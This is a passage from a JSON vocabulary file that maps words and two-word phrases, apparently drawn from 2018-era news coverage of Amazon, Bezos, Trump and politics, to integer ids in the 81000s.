 \"houten\": 81074,\n  \"just towel\": 81075,\n  \"maxsa website\": 81076,\n  \"good america\": 81077,\n  \"rating drone\": 81078,\n  \"boss euro\": 81079,\n  \"module second\": 81080,\n  \"independent entity\": 81081,\n  \"pay president\": 81082,\n  \"fore\": 81083,\n  \"rfp says\": 81084,\n  \"service large\": 81085,\n  \"book trumpspeak\": 81086,\n  \"rush limbaugh\": 81087,\n  \"giant pick\": 81088,\n  \"horror film\": 81089,\n  \"scratches\": 81090,\n  \"kimmel amazon\": 81091,\n  \"virginia bald\": 81092,\n  \"suit argues\": 81093,\n  \"missiles satellite\": 81094,\n  \"haberman trump\": 81095,\n  \"close trump\": 81096,\n  \"observers amazon\": 81097,\n  \"months sanders\": 81098,\n  \"source target\": 81099,\n  \"house shipping\": 81100,\n  \"trump hotel\": 81101,\n  \"boyne novel\": 81102,\n  \"general currently\": 81103,\n  \"page turning\": 81104,\n  \"unbalanced\": 81105,\n  \"china industrial\": 81106,\n  \"angering\": 81107,\n  \"owl owlfirstitem\": 81108,\n  \"raising money\": 81109,\n  \"presidents did\": 81110,\n  \"alps llc\": 81111,\n  \"broad wave\": 81112,\n  \"var aa\": 81113,\n  \"columbia grit\": 81114,\n  \"cortez cheered\": 81115,\n  \"platform monopolies\": 81116,\n  \"ago quarter\": 81117,\n  \"mnuchin chairman\": 81118,\n  \"british meal\": 81119,\n  \"duker freuman\": 81120,\n  \"post alleging\": 81121,\n  \"mta currently\": 81122,\n  \"vikings game\": 81123,\n  \"beijing begin\": 81124,\n  \"million million\": 81125,\n  \"pumpkin posted\": 81126,\n  \"high expectations\": 81127,\n  \"resort union\": 81128,\n  \"office mission\": 81129,\n  \"fingertips\": 81130,\n  \"visa worker\": 81131,\n  \"usually win\": 81132,\n  \"house opioid\": 81133,\n  \"misconduct\": 81134,\n  \"easton ellis\": 81135,\n  \"amazon shook\": 81136,\n  \"donors listed\": 81137,\n  \"reactions elicited\": 81138,\n  \"managers cvs\": 81139,\n  \"property law\": 81140,\n  \"crisis considering\": 81141,\n  \"trump coincidence\": 81142,\n  \"extensive resources\": 81143,\n  \"delivering gut\": 81144,\n  \"peek good\": 81145,\n  \"diluted eps\": 81146,\n  \"conceived\": 81147,\n  \"shipping firms\": 81148,\n  \"questions witness\": 81149,\n  \"people briefed\": 81150,\n  \"president effort\": 81151,\n  \"crazy rich\": 81152,\n  \"james mattis\": 81153,\n  \"online_services letter\": 81154,\n  \"really disgusting\": 81155,\n  \"attention bezos\": 81156,\n  \"negotiate deals\": 81157,\n  \"ago allows\": 81158,\n  \"cover added\": 81159,\n  \"trump retrains\": 81160,\n  \"measurement firm\": 81161,\n  \"critical success\": 81162,\n  \"management accuse\": 81163,\n  \"firm boies\": 81164,\n  \"region following\": 81165,\n  \"2billion percentage\": 81166,\n  \"limited newsfile\": 81167,\n  \"paid staff\": 81168,\n  \"gecko butt\": 81169,\n  \"mary nahorniak\": 81170,\n  \"herman voa\": 81171,\n  \"prominent opponents\": 81172,\n  \"winning pumpkin\": 81173,\n  \"day online\": 81174,\n  \"postal accountability\": 81175,\n  \"fortune18\": 81176,\n  \"emmys zuker\": 81177,\n  \"journey delivery\": 81178,\n  \"bezos company\": 81179,\n  \"roraima\": 81180,\n  \"year calling\": 81181,\n  \"insider media\": 81182,\n  \"squirrel hill\": 81183,\n  \"actually living\": 81184,\n  \"reduced vanguard\": 81185,\n  \"comprise\": 81186,\n  \"alligator\": 81187,\n  \"potential partner\": 81188,\n  \"multinationals withhold\": 81189,\n  \"identity document\": 81190,\n  \"drive review\": 81191,\n  \"false w4w\": 81192,\n  \"acquired lot\": 81193,\n  \"eas support\": 81194,\n  \"bolsonaro plans\": 81195,\n  \"father otto\": 81196,\n  \"trump veered\": 81197,\n  \"mass desecration\": 81198,\n  \"adventure travel\": 81199,\n  \"\\u014241billion\": 81200,\n  \"agency requests\": 81201,\n  \"blog entry\": 81202,\n  \"similar product\": 81203,\n  \"enquirer owned\": 81204,\n  \"median employee\": 81205,\n  \"including selfies\": 81206,\n  \"kurosawa rashomon\": 81207,\n  \"unrelenting coverage\": 81208,\n  \"story ways\": 81209,\n  \"clip phil\": 81210,\n  \"men really\": 81211,\n  \"ferry\": 81212,\n  \"oil mixed\": 81213,\n  \"adults taking\": 81214,\n  \"real damage\": 81215,\n  \"stark question\": 81216,\n  \"borders shelby\": 81217,\n  \"inspired akira\": 81218,\n  \"brazil largest\": 81219,\n  \"president kunal\": 81220,\n  \"marketing budget\": 81221,\n  \"dynastic\": 81222,\n  \"christian vasquez\": 81223,\n  \"eucalyptus tea\": 81224,\n  \"publisher responds\": 81225,\n  \"house program\": 81226,\n  \"makes decisions\": 81227,\n  \"lakes\": 81228,\n  \"samsung settled\": 81229,\n  \"doing wise\": 81230,\n  \"c5q\": 81231,\n  \"firm roughly\": 81232,\n  \"pentagon papers\": 81233,\n  \"hand\": 81234,\n  \"coalitions\": 81235,\n  \"fake iphone\": 81236,\n  \"delivery week\": 81237,\n  \"tells john\": 81238,\n  \"ceo warren\": 81239,\n  \"capitol allies\": 81240,\n  \"help hide\": 81241,\n  \"percio\": 81242,\n  \"rosenstein responded\": 81243,\n  \"spicer extensive\": 81244,\n  \"acosta hard\": 81245,\n  \"targeting cnn\": 81246,\n  \"large new\": 81247,\n  \"reportedly developing\": 81248,\n  \"generate billion\": 81249,\n  \"distinguished restaurant\": 81250,\n  \"style closer\": 81251,\n  \"amazon blaming\": 81252,\n  \"sba contracting\": 81253,\n  \"merriam webster\": 81254,\n  \"necessarily pinpoint\": 81255,\n  \"hl\": 81256,\n  \"mistreatment employers\": 81257,\n  \"angry minority\": 81258,\n  \"anti foreclosure\": 81259,\n  \"volumes lull\": 81260,\n  \"hurd coming\": 81261,\n  \"years writing\": 81262,\n  \"star tony\": 81263,\n  \"newsletter yahoofinance\": 81264,\n  \"administration bi\": 81265,\n  \"seattle nearly\": 81266,\n  \"rodriguez unite\": 81267,\n  \"staff walked\": 81268,\n  \"help prosecute\": 81269,\n  \"wrzesniewski\": 81270,\n  \"story matthew\": 81271,\n  \"requiring review\": 81272,\n  \"quickly dawns\": 81273,\n  \"chants\": 81274,\n  \"funding debt\": 81275,\n  \"helium\": 81276,\n  \"addclass\": 81277,\n  \"education healthcare\": 81278,\n  \"seasoned master\": 81279,\n  \"wall agrees\": 81280,\n  \"advocate race\": 81281,\n  \"amid increasingly\": 81282,\n  \"tdopp bloomberg\": 81283,\n  \"fields regardless\": 81284,\n  \"publicly trolling\": 81285,\n  \"sector added\": 81286,\n  \"tackling google\": 81287,\n  \"words related\": 81288,\n  \"senate office\": 81289,\n  \"nwdc showed\": 81290,\n  \"plus yields\": 81291,\n  \"atmosphere fearful\": 81292,\n  \"adchoices adchoices\": 81293,\n  \"best halloween\": 81294,\n  \"direct\": 81295,\n  \"important locales\": 81296,\n  \"self initiated\": 81297,\n  \"actions cited\": 81298,\n  \"pecker isn\": 81299,\n  \"differing rules\": 81300,\n  \"fathers hoped\": 81301,\n  \"prowess\": 81302,\n  \"modern civil\": 81303,\n  \"hopper hbo\": 81304,\n  \"ran controversial\": 81305,\n  \"chiefs director\": 81306,\n  \"wray appeared\": 81307,\n  \"dramatic flip\": 81308,\n  \"brazilian president\": 81309,\n  \"separately state\": 81310,\n  \"code samples\": 81311,\n  \"markers\": 81312,\n  \"unitedstates\": 81313,\n  \"facebook tad\": 81314,\n  \"world beating\": 81315,\n  \"additional tariffs\": 81316,\n  \"sanders comments\": 81317,\n  \"whitefish montana\": 81318,\n  \"dayssincepubdate\": 81319,\n  \"coastal flooding\": 81320,\n  \"smokehouse\": 81321,\n  \"notable retailers\": 81322,\n  \"bezos hard\": 81323,\n  \"disaster capitalism\": 81324,\n  \"affects millions\": 81325,\n  \"iran just\": 81326,\n  \"woke\": 81327,\n  \"activists blame\": 81328,\n  \"prosperity gentrification\": 81329,\n  \"company saw\": 81330,\n  \"125 billion\": 81331,\n  \"survey half\": 81332,\n  \"elected ydanis\": 81333,\n  \"travels\": 81334,\n  \"fedex declined\": 81335,\n  \"thriller scribner\": 81336,\n  \"apparently left\": 81337,\n  \"reporter stated\": 81338,\n  \"service lost\": 81339,\n  \"article netflix\": 81340,\n  \"doj donald\": 81341,\n  \"story includes\": 81342,\n  \"biological\": 81343,\n  \"maga vanity\": 81344,\n  \"times macron\": 81345,\n  \"trump del\": 81346,\n  \"court recent\": 81347,\n  \"concerted\": 81348,\n  \"answer number\": 81349,\n  \"miami attracting\": 81350,\n  \"satirical card\": 81351,\n  \"random\": 81352,\n  \"brand inventory\": 81353,\n  \"large scales\": 81354,\n  \"amazon entry\": 81355,\n  \"united city\": 81356,\n  \"minority owned\": 81357,\n  \"dovetails\": 81358,\n  \"jagodzinski\": 81359,\n  \"trampoline\": 81360,\n  \"thrilling post\": 81361,\n  \"include negotiate\": 81362,\n  \"jones day\": 81363,\n  \"secondary story\": 81364,\n  \"time toeing\": 81365,\n  \"credit andrew\": 81366,\n  \"fingers pretty\": 81367,\n  \"recusal\": 81368,\n  \"smith added\": 81369,\n  \"company stop\": 81370,\n  \"create critical\": 81371,\n  \"lawsuit obama\": 81372,\n  \"eventually lifted\": 81373,\n  \"history tweeted\": 81374,\n  \"republican operatives\": 81375,\n  \"question territory\": 81376,\n  \"arrested expert\": 81377,\n  \"business segment\": 81378,\n  \"immigrant outspokenness\": 81379,\n  \"industry advocacy\": 81380,\n  \"thank god\": 81381,\n  \"thrive encompasses\": 81382,\n  \"present threats\": 81383,\n  \"despite voters\": 81384,\n  \"commends alibaba\": 81385,\n  \"analytics premium\": 81386,\n  \"thurmer\": 81387,\n  \"camera search\": 81388,\n  \"heterosexual new\": 81389,\n  \"job including\": 81390,\n  \"tj maxx\": 81391,\n  \"deputy attorneygeneral\": 81392,\n  \"tall ficus\": 81393,\n  \"influential leaders\": 81394,\n  \"agent person\": 81395,\n  \"basic right\": 81396,\n  \"jacob snow\": 81397,\n  \"increasingly wary\": 81398,\n  \"rux martin\": 81399,\n  \"seoul risks\": 81400,\n  \"afreshman\": 81401,\n  \"cnet techcrunch\": 81402,\n  \"recent backlash\": 81403,\n  \"repeatedly hit\": 81404,\n  \"agency prompting\": 81405,\n  \"usual posted\": 81406,\n  \"british americans\": 81407,\n  \"huber\": 81408,\n  \"ronanfarrow\": 81409,\n  \"war battlefield\": 81410,\n  \"fairly quickly\": 81411,\n  \"simply withdrew\": 81412,\n  \"fast food\": 81413,\n  \"people reason\": 81414,\n  \"fato\": 81415,\n  \"cold snap\": 81416,\n  \"cum garbage\": 81417,\n  \"interview russia\": 81418,\n  \"years long\": 81419,\n  \"holding town\": 81420,\n  \"team according\": 81421,\n  \"data seen\": 81422,\n  \"private package\": 81423,\n  \"bears posted\": 81424,\n  \"atkinson little\": 81425,\n  \"nightlife\": 81426,\n  \"slams mainstream\": 81427,\n  \"favale imageurl\": 81428,\n  \"reporters rosalind\": 81429,\n  \"good chance\": 81430,\n  \"lambasted postmaster\": 81431,\n  \"feistier cars\": 81432,\n  \"rightfulauthority\": 81433,\n  \"brain cells\": 81434,\n  \"msnbc interview\": 81435,\n  \"ken langone\": 81436,\n  \"mentally deranged\": 81437,\n  \"hemisphere leaders\": 81438,\n  \"checker president\": 81439,\n  \"630\": 81440,\n  \"york followed\": 81441,\n  \"brasil feedback\": 81442,\n  \"season pretty\": 81443,\n  \"ubhi describes\": 81444,\n  \"liberals used\": 81445,\n  \"new signs\": 81446,\n  \"yerepouni daily\": 81447,\n  \"deserves pulitzer\": 81448,\n  \"favorite parts\": 81449,\n  \"corporate jobs\": 81450,\n  \"pix11news amazon\": 81451,\n  \"bezoses coming\": 81452,\n  \"ideo ceo\": 81453,\n  \"enquirer revealed\": 81454,\n  \"weekend everybody\": 81455,\n  \"believes farmers\": 81456,\n  \"a5q h6a\": 81457,\n  \"government approval\": 81458,\n  \"general ex\": 81459,\n  \"joan\": 81460,\n  \"wing having\": 81461,\n  \"jaloe\": 81462,\n  \"underperformance alternative\": 81463,\n  \"geng shuang\": 81464,\n  \"jessica taylor\": 81465,\n  \"avni\": 81466,\n  \"world sixth\": 81467,\n  \"commerce industry\": 81468,\n  \"published posthumously\": 81469,\n  \"trump protest\": 81470,\n  \"elected president\": 81471,\n  \"ask trump\": 81472,\n  \"largest passenger\": 81473,\n  \"motogp press\": 81474,\n  \"taxpayers trump\": 81475,\n  \"ros\\u00e9\": 81476,\n  \"partisan party\": 81477,\n  \"ent jeff\": 81478,\n  \"crowded race\": 81479,\n  \"statements discussed\": 81480,\n  \"dwallbank bloomberg\": 81481,\n  \"news data\": 81482,\n  \"digitalspy\": 81483,\n  \"elected congresswomen\": 81484,\n  \"airports\": 81485,\n  \"valley town\": 81486,\n  \"gmb collected\": 81487,\n  \"company deserves\": 81488,\n  \"various levels\": 81489,\n  \"different landscape\": 81490,\n  \"walmart recent\": 81491,\n  \"administrative regulatory\": 81492,\n  \"trump false\": 81493,\n  \"shares marathon\": 81494,\n  \"couple statement\": 81495,\n  \"cybersecurity investorplace\": 81496,\n  \"sets bad\": 81497,\n  \"smith light\": 81498,\n  \"company people\": 81499,\n  \"politico congress\": 81500,\n  \"comeforward\": 81501,\n  \"given mysterious\": 81502,\n  \"just wealth\": 81503,\n  \"strong dislike\": 81504,\n  \"allow\": 81505,\n  \"dijk\": 81506,\n  \"men formal\": 81507,\n  \"senior policy\": 81508,\n  \"genuine push\": 81509,\n  \"reddit reveals\": 81510,\n  \"shouldered\": 81511,\n  \"buzz60 days\": 81512,\n  \"aoc ran\": 81513,\n  \"vision values\": 81514,\n  \"amazing feature\": 81515,\n  \"huge challenges\": 81516,\n  \"buy real\": 81517,\n  \"package overcoming\": 81518,\n  \"funding startup\": 81519,\n  \"snipes replaced\": 81520,\n  \"feel good\": 81521,\n  \"fading light\": 81522,\n  \"ipsos\": 81523,\n  \"anodyne\": 81524,\n  \"599\": 81525,\n  \"e4e adventori\": 81526,\n  \"verhoeven toddwine\": 81527,\n  \"election mccain\": 81528,\n  \"making purchases\": 81529,\n  \"sister witches\": 81530,\n  \"country scrambling\": 81531,\n  \"drug helped\": 81532,\n  \"style security\": 81533,\n  \"culturally relevant\": 81534,\n  \"barkley\": 81535,\n  \"fortune reuters\": 81536,\n  \"suozzi ddouglaston\": 81537,\n  \"flipboard magazine\": 81538,\n  \"owning marketplace\": 81539,\n  \"review commission\": 81540,\n  \"opinion don\": 81541,\n  \"post headline\": 81542,\n  \"oswald\": 81543,\n  \"colderice lawson\": 81544,\n  \"ubs estimates\": 81545,\n  \"microvms firecracker\": 81546,\n  \"jedi says\": 81547,\n  \"human health\": 81548,\n  \"publishing alleged\": 81549,\n  \"president isgoing\": 81550,\n  \"shipping burden\": 81551,\n  \"latest twitter\": 81552,\n  \"national prestige\": 81553,\n  \"retailers including\": 81554,\n  \"dropbox ceo\": 81555,\n  \"star shooting\": 81556,\n  \"certainly interesting\": 81557,\n  \"deftly steps\": 81558,\n  \"turn lower\": 81559,\n  \"susquehanna 2018\": 81560,\n  \"nichols\": 81561,\n  \"gathering\": 81562,\n  \"intra day\": 81563,\n  \"bezos takes\": 81564,\n  \"new england\": 81565,\n  \"completed rosenstein\": 81566,\n  \"kahn\": 81567,\n  \"deloitte amazon\": 81568,\n  \"film tv\": 81569,\n  \"person ny\": 81570,\n  \"estate investors\": 81571,\n  \"antoinette\": 81572,\n  \"business connection\": 81573,\n  \"harvard\": 81574,\n  \"tapes president\": 81575,\n  \"antitrust silicon\": 81576,\n  \"reporters navarro\": 81577,\n  \"york victory\": 81578,\n  \"regularly lashes\": 81579,\n  \"nearly weeks\": 81580,\n  \"palantir surveillance\": 81581,\n  \"plus infrastructure\": 81582,\n  \"labor view\": 81583,\n  \"assets\": 81584,\n  \"markets amazon\": 81585,\n  \"271\": 81586,\n  \"new online\": 81587,\n  \"centering\": 81588,\n  \"continue walking\": 81589,\n  \"country dhl\": 81590,\n  \"person addressed\": 81591,\n  \"bookstores nationwide\": 81592,\n  \"trump dirty\": 81593,\n  \"attorneygeneral rod\": 81594,\n  \"landing amazon\": 81595,\n  \"amazon axios\": 81596,\n  \"platform\": 81597,\n  \"openly racist\": 81598,\n  \"braunstein\": 81599,\n  \"amazon echoes\": 81600,\n  \"overall stability\": 81601,\n  \"acosta bad\": 81602,\n  \"somodevilla beverly\": 81603,\n  \"profit series\": 81604,\n  \"koch political\": 81605,\n  \"word bailout\": 81606,\n  \"separate business\": 81607,\n  \"placing increasing\": 81608,\n  \"feels omnipresent\": 81609,\n  \"obrador claimed\": 81610,\n  \"facebook comments\": 81611,\n  \"miniaturist\": 81612,\n  \"democrats yang\": 81613,\n  \"entry according\": 81614,\n  \"countries\": 81615,\n  \"messy stuff\": 81616,\n  \"secure funding\": 81617,\n  \"wirecutter\": 81618,\n  \"chinese language\": 81619,\n  \"shopping business\": 81620,\n  \"regional talent\": 81621,\n  \"book sold\": 81622,\n  \"unveiling program\": 81623,\n  \"announced nbc\": 81624,\n  \"insider paige\": 81625,\n  \"hurtful\": 81626,\n  \"ballot box\": 81627,\n  \"hasn flipped\": 81628,\n  \"average tax\": 81629,\n  \"philosophically opposed\": 81630,\n  \"customer aligns\": 81631,\n  \"free home\": 81632,\n  \"cement ami\": 81633,\n  \"easier consider\": 81634,\n  \"commerce portal\": 81635,\n  \"national cemetery\": 81636,\n  \"saved truckloads\": 81637,\n  \"hatchbacks\": 81638,\n  \"trillion line\": 81639,\n  \"time subscribe\": 81640,\n  \"oracle larry\": 81641,\n  \"businessman likes\": 81642,\n  \"political tea\": 81643,\n  \"cut ties\": 81644,\n  \"officials tell\": 81645,\n  \"meager\": 81646,\n  \"democratic presidential\": 81647,\n  \"makeup bag\": 81648,\n  \"restaurant review\": 81649,\n  \"maryland lavish\": 81650,\n  \"filed fair\": 81651,\n  \"think facebook\": 81652,\n  \"beholden\": 81653,\n  \"taxpayers saying\": 81654,\n  \"secret agreements\": 81655,\n  \"cut price\": 81656,\n  \"fellow board\": 81657,\n  \"welcome amazon\": 81658,\n  \"threatened wider\": 81659,\n  \"leaks actually\": 81660,\n  \"delivery winning\": 81661,\n  \"build\": 81662,\n  \"corporate backside\": 81663,\n  \"singer notorious\": 81664,\n  \"large share\": 81665,\n  \"portfolio old\": 81666,\n  \"police second\": 81667,\n  \"pretty strong\": 81668,\n  \"breckman monk\": 81669,\n  \"point maloney\": 81670,\n  \"launch small\": 81671,\n  \"revenue picture\": 81672,\n  \"food sector\": 81673,\n  \"capital globenewswire\": 81674,\n  \"kaitlyn bristowe\": 81675,\n  \"say russia\": 81676,\n  \"whatsappshareelement undefined\": 81677,\n  \"giant change\": 81678,\n  \"thought hard\": 81679,\n  \"uncovered wall\": 81680,\n  \"facebook apple\": 81681,\n  \"positive reviews\": 81682,\n  \"sanders referred\": 81683,\n  \"federation express\": 81684,\n  \"negative review\": 81685,\n  \"rayasam ben\": 81686,\n  \"did yesterday\": 81687,\n  \"search engine\": 81688,\n  \"great opponent\": 81689,\n  \"government uses\": 81690,\n  \"american football\": 81691,\n  \"french viking\": 81692,\n  \"brothers harriman\": 81693,\n  \"law stresses\": 81694,\n  \"2012 macotakara\": 81695,\n  \"great difficulty\": 81696,\n  \"hit milestone\": 81697,\n  \"fined guess\": 81698,\n  \"best value\": 81699,\n  \"burn filed\": 81700,\n  \"address violence\": 81701,\n  \"group index\": 81702,\n  \"platform twitch\": 81703,\n  \"information amazon\": 81704,\n  \"lost net\": 81705,\n  \"source anna\": 81706,\n  \"amzn earnings\": 81707,\n  \"dual labor\": 81708,\n  \"analysts scored\": 81709,\n  \"crops\": 81710,\n  \"david vernon\": 81711,\n  \"hobbs act\": 81712,\n  \"based social\": 81713,\n  \"temperatures police\": 81714,\n  \"intensly focus\": 81715,\n  \"untraceable\": 81716,\n  \"possible perpetrator\": 81717,\n  \"hall event\": 81718,\n  \"donors contributed\": 81719,\n  \"unflattering photo\": 81720,\n  \"broadbandbreakfast explained\": 81721,\n  \"spotless mind\": 81722,\n  \"rabbi\": 81723,\n  \"good products\": 81724,\n  \"greenfield foreign\": 81725,\n  \"criticizes trump\": 81726,\n  \"box trump\": 81727,\n  \"significantly underrepresented\": 81728,\n  \"prestigious award\": 81729,\n  \"including possible\": 81730,\n  \"expected economic\": 81731,\n  \"ratings trump\": 81732,\n  \"film\": 81733,\n  \"promised brexit\": 81734,\n  \"healthcare initiative\": 81735,\n  \"production hell\": 81736,\n  \"ground rules\": 81737,\n  \"bolster trump\": 81738,\n  \"sold twitter\": 81739,\n  \"amazon bringing\": 81740,\n  \"initially total\": 81741,\n  \"make france\": 81742,\n  \"national drug\": 81743,\n  \"dvr storage\": 81744,\n  \"web involving\": 81745,\n  \"fibonacci retracement\": 81746,\n  \"campaign committee\": 81747,\n  \"phillips\": 81748,\n  \"pillaged\": 81749,\n  \"currently number\": 81750,\n  \"care purchases\": 81751,\n  \"news america\": 81752,\n  \"data recovered\": 81753,\n  \"wannabe playboy\": 81754,\n  \"near washington\": 81755,\n  \"stagnant\": 81756,\n  \"stocks fall\": 81757,\n  \"pennink\": 81758,\n  \"congress enacted\": 81759,\n  \"demand showtime\": 81760,\n  \"retailer says\": 81761,\n  \"reaffirms\": 81762,\n  \"axios article\": 81763,\n  \"fray chastising\": 81764,\n  \"schemes airs\": 81765,\n  \"snowfoller\": 81766,\n  \"citing progress\": 81767,\n  \"consumers offline\": 81768,\n  \"portray mueller\": 81769,\n  \"flips arizona\": 81770,\n  \"tiny hands\": 81771,\n  \"incentives amazon\": 81772,\n  \"separate product\": 81773,\n  \"ownership moser\": 81774,\n  \"obama prosecuted\": 81775,\n  \"story heineken\": 81776,\n  \"siminoff ceo\": 81777,\n  \"addresses members\": 81778,\n  \"time wasted\": 81779,\n  \"paying\": 81780,\n  \"friendly national\": 81781,\n  \"abolitionist work\": 81782,\n  \"ignition 2018\": 81783,\n  \"marques\": 81784,\n  \"immigrant activists\": 81785,\n  \"allegedly obsessive\": 81786,\n  \"critical opportunity\": 81787,\n  \"workers 150\": 81788,\n  \"provocative new\": 81789,\n  \"valuation shares\": 81790,\n  \"antitrust theory\": 81791,\n  \"asked amazon\": 81792,\n  \"unsteady critter\\u0430could\": 81793,\n  \"home maybe\": 81794,\n  \"pscnb\": 81795,\n  \"prized hq2\": 81796,\n  \"term risk\": 81797,\n  \"congressional inquiries\": 81798,\n  \"200 million\": 81799,\n  \"michelle stevens\": 81800,\n  \"issue media\": 81801,\n  \"net total\": 81802,\n  \"aboutthis\": 81803,\n  \"fasting indicates\": 81804,\n  \"customs declaration\": 81805,\n  \"enquirer delivers\": 81806,\n  \"particularly fresh\": 81807,\n  \"dominion\": 81808,\n  \"bunny james\": 81809,\n  \"citywide office\": 81810,\n  \"forwarded\": 81811,\n  \"uniforms geekwire\": 81812,\n  \"stoic boss\": 81813,\n  \"individually company\": 81814,\n  \"applauding\": 81815,\n  \"senior foreign\": 81816,\n  \"right purchasing\": 81817,\n  \"met melania\": 81818,\n  \"african swine\": 81819,\n  \"fuechtener\": 81820,\n  \"soy transport\": 81821,\n  \"mainly centered\": 81822,\n  \"opinion held\": 81823,\n  \"2018 newspaper\": 81824,\n  \"tax pay\": 81825,\n  \"headlines right\": 81826,\n  \"island waterfront\": 81827,\n  \"having catchy\": 81828,\n  \"instillations bob\": 81829,\n  \"amazon pulls\": 81830,\n  \"true cult\": 81831,\n  \"gradations\": 81832,\n  \"dumps nyc\": 81833,\n  \"subtly called\": 81834,\n  \"price right\": 81835,\n  \"c_137951892 htm\": 81836,\n  \"geologist\": 81837,\n  \"vicky ward\": 81838,\n  \"figure skater\": 81839,\n  \"doubts deal\": 81840,\n  \"computed results\": 81841,\n  \"439 large\": 81842,\n  \"adrenaline fueled\": 81843,\n  \"political narratives\": 81844,\n  \"2018 news\": 81845,\n  \"sleeves\": 81846,\n  \"nicolas\": 81847,\n  \"visit trump\": 81848,\n  \"paul begala\": 81849,\n  \"bad ride\": 81850,\n  \"past quarter\": 81851,\n  \"quake toll\": 81852,\n  \"stock plunging\": 81853,\n  \"xenophobic political\": 81854,\n  \"cards close\": 81855,\n  \"mabel grammer\": 81856,\n  \"visiting farms\": 81857,\n  \"offer customers\": 81858,\n  \"ford plant\": 81859,\n  \"recipient working\": 81860,\n  \"institutions backed\": 81861,\n  \"people wouldn\": 81862,\n  \"shares finished\": 81863,\n  \"nancy cook\": 81864,\n  \"complicated web\": 81865,\n  \"union slapped\": 81866,\n  \"white caucasian\": 81867,\n  \"movement roseanne\": 81868,\n  \"blindsided south\": 81869,\n  \"headline amazon\": 81870,\n  \"months macquarie\": 81871,\n  \"acquire meal\": 81872,\n  \"localities\": 81873,\n  \"contending google\": 81874,\n  \"post runs\": 81875,\n  \"dankest memes\": 81876,\n  \"wacky ranting\": 81877,\n  \"dubai demand\": 81878,\n  \"transportation cars\": 81879,\n  \"plutocrats don\": 81880,\n  \"weak incorrect\": 81881,\n  \"party piketty\": 81882,\n  \"different customers\": 81883,\n  \"consist\": 81884,\n  \"o4 return\": 81885,\n  \"biggest drop\": 81886,\n  \"data centres\": 81887,\n  \"various\": 81888,\n  \"hour benefit\": 81889,\n  \"predominant\": 81890,\n  \"hardwired\": 81891,\n  \"trumps taxes\": 81892,\n  \"sagged\": 81893,\n  \"journalists opponents\": 81894,\n  \"expected revenue\": 81895,\n  \"washington government\": 81896,\n  \"federal assistance\": 81897,\n  \"protections restrained\": 81898,\n  \"cds online\": 81899,\n  \"greater share\": 81900,\n  \"96b\": 81901,\n  \"repeatedly denounced\": 81902,\n  \"damage control\": 81903,\n  \"establish stronger\": 81904,\n  \"day mass\": 81905,\n  \"psychotic\": 81906,\n  \"boost shipping\": 81907,\n  \"laurel\": 81908,\n  \"beelzebezos\": 81909,\n  \"restaurant eat\": 81910,\n  \"substantial numbers\": 81911,\n  \"sununu work\": 81912,\n  \"personal disdain\": 81913,\n  \"werneck ibama\": 81914,\n  \"inevitability\": 81915,\n  \"scalise louisiana\": 81916,\n  \"multiple conversations\": 81917,\n  \"hires contractors\": 81918,\n  \"communication withamazon\": 81919,\n  \"planet richest\": 81920,\n  \"pass following\": 81921,\n  \"founder sexting\": 81922,\n  \"gallery\": 81923,\n  \"metric tons\": 81924,\n  \"development win\": 81925,\n  \"trading positions\": 81926,\n  \"gold box\": 81927,\n  \"powerful individual\": 81928,\n  \"jpg tilefeatureimagex2\": 81929,\n  \"reserve cain\": 81930,\n  \"taking page\": 81931,\n  \"years 2018\": 81932,\n  \"gallery archive\": 81933,\n  \"rep nancy\": 81934,\n  \"organizations led\": 81935,\n  \"president operates\": 81936,\n  \"account american\": 81937,\n  \"including medication\": 81938,\n  \"pharr texas\": 81939,\n  \"year eventually\": 81940,\n  \"away reporter\": 81941,\n  \"boss amazon\": 81942,\n  \"teachers working\": 81943,\n  \"trump drain\": 81944,\n  \"steven osinski\": 81945,\n  \"hmmm pay\": 81946,\n  \"trump walked\": 81947,\n  \"measures including\": 81948,\n  \"warfare thinking\": 81949,\n  \"pic extortion\": 81950,\n  \"slower app\": 81951,\n  \"trade feel\": 81952,\n  \"budget year\": 81953,\n  \"merger type\": 81954,\n  \"national trading\": 81955,\n  \"investigating spotify\": 81956,\n  \"bachelorette\": 81957,\n  \"interesting rung\": 81958,\n  \"889\": 81959,\n  \"effects\": 81960,\n  \"create 600\": 81961,\n  \"packages locally\": 81962,\n  \"wikipedia wikipedia\": 81963,\n  \"smartphone technologies\": 81964,\n  \"newly acquired\": 81965,\n  \"hands asked\": 81966,\n  \"political moderation\": 81967,\n  \"fear invoking\": 81968,\n  \"aftermarket\": 81969,\n  \"saw puzzle\": 81970,\n  \"nvda announced\": 81971,\n  \"rent just\": 81972,\n  \"imagine investors\": 81973,\n  \"story apples\": 81974,\n  \"gabby\": 81975,\n  \"porowski plans\": 81976,\n  \"james petition\": 81977,\n  \"house order\": 81978,\n  \"probe 2018\": 81979,\n  \"fee revenue\": 81980,\n  \"employees warnings\": 81981,\n  \"encouragement\": 81982,\n  \"hard decisions\": 81983,\n  \"areas communities\": 81984,\n  \"reps\": 81985,\n  \"superstate\": 81986,\n  \"receipts exceed\": 81987,\n  \"craf\": 81988,\n  \"inc_notepad null\": 81989,\n  \"elvis duran\": 81990,\n  \"subway house\": 81991,\n  \"trump shaved\": 81992,\n  \"mayor mayor\": 81993,\n  \"women stories\": 81994,\n  \"effective anti\": 81995,\n  \"service reportedly\": 81996,\n  \"baseball\": 81997,\n  \"amazon photoshop\": 81998,\n  \"largest grocer\": 81999,\n  \"trump gift\": 82000,\n  \"vermont joins\": 82001,\n  \"retailers saul\": 82002,\n  \"rajneesh\": 82003,\n  \"flag outside\": 82004,\n  \"house cuseum\": 82005,\n  \"understand particularly\": 82006,\n  \"gained\": 82007,\n  \"caught crossing\": 82008,\n  \"continue supporting\": 82009,\n  \"recognition capabilities\": 82010,\n  \"suggested privatization\": 82011,\n  \"noteworthy explore\": 82012,\n  \"vacation togetherthat\": 82013,\n  \"outlets report\": 82014,\n  \"metz\": 82015,\n  \"procurement contracts\": 82016,\n  \"soho mailers\": 82017,\n  \"harrington\": 82018,\n  \"z4a return\": 82019,\n  \"enterprises exist\": 82020,\n  \"latino\": 82021,\n  \"aggressively expanded\": 82022,\n  \"carvajal\": 82023,\n  \"sto\": 82024,\n  \"congressmembers\": 82025,\n  \"sue pecker\": 82026,\n  \"400m\": 82027,\n  \"heated confrontation\": 82028,\n  \"amazon pedal\": 82029,\n  \"nextplay\": 82030,\n  \"evidence shows\": 82031,\n  \"ongoing labor\": 82032,\n  \"tlc\": 82033,\n  \"warehouse chain\": 82034,\n  \"plutocrat\": 82035,\n  \"possible cost\": 82036,\n  \"past business\": 82037,\n  \"constant attack\": 82038,\n  \"adjusted income\": 82039,\n  \"reverses\": 